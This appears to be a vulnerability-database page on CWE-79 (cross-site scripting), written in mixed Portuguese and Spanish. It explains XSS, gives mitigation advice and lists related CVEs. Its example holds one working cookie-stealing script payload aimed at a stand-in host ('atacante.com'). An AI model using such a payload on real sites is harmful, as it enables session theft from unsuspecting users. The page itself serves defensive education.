Fallos del tipo CWE-79

28.777 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-2072—Name Directory < 1.25.3 - Reflected Cross-Site ScriptingEPSS 0.7%CVE-2022-0684—WP Home Page Menu < 3.1 - Admin+ Stored Cross-Site ScriptingEPSS 0.7%CVE-2021-42118HIGHStored XSS in TopEaseEPSS 0.7%CVE-2022-2181—Advanced WordPress Reset < 1.6 - Reflected Cross-Site ScriptingEPSS 0.7%CVE-2022-37342MEDIUMWordPress Add Shortcodes Actions And Filters plugin <= 2.0.9 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.7%CVE-2022-35697MEDIUMAEM File Upload Security Issue leading to RXSSEPSS 0.7%CVE-2024-0650MEDIUMProject Worlds Visitor Management System URL dataset.php cross site scriptingEPSS 0.7%CVE-2021-22540—XSS in Dart SDKEPSS 0.7%CVE-2022-2256—A Stored Cross-site scripting (XSS) vulnerability was found in keycloak as shipped in Red Hat Single Sign-On 7. This flaw allows a privilegeEPSS 0.7%CVE-2022-2646LOWSourceCodester Online Admission System index.php cross site scriptingEPSS 0.7%CVE-2021-32542MEDIUMSysJust CTS Web - Reflected XSSEPSS 0.7%CVE-2024-28150MEDIUMJenkins HTML Publisher Plugin 1.32 and earlier does not escape job names, report names, and index page titles shown as part of the report frEPSS 0.7%CVE-2023-26777MEDIUMCross Site Scripting vulnerability found in : louislam Uptime Kuma v.1.19.6 and before allows a remote attacker to execute arbitrary commandEPSS 0.7%CVE-2022-0145MEDIUMCross-site Scripting (XSS) - Stored in forkcms/forkcmsEPSS 0.7%CVE-2023-5701MEDIUMvnotex vnote Markdown File cross site scriptingEPSS 0.7%CVE-2022-31057MEDIUMAuthenticated Stored XSS in Shopware AdministrationEPSS 0.7%CVE-2023-24896MEDIUMDynamics 365 Finance Spoofing VulnerabilityEPSS 0.7%CVE-2023-29714MEDIUMCross Site Scripting vulnerability found in Vade Secure Gateway allows a remote attacker to execute arbitrary code via the username, passworEPSS 0.7%CVE-2024-0598MEDIUMGutenberg Blocks by Kadence Blocks <= 3.2.17 - Authenticated(Editor+) Stored Cross-Site Scripting via Contact Form Message SettingsEPSS 0.7%CVE-2023-29713MEDIUMCross Site Scripting vulnerability found in Vade Secure Gateway allows a remote attacker to execute arbitrary code via a crafted payload to EPSS 0.7%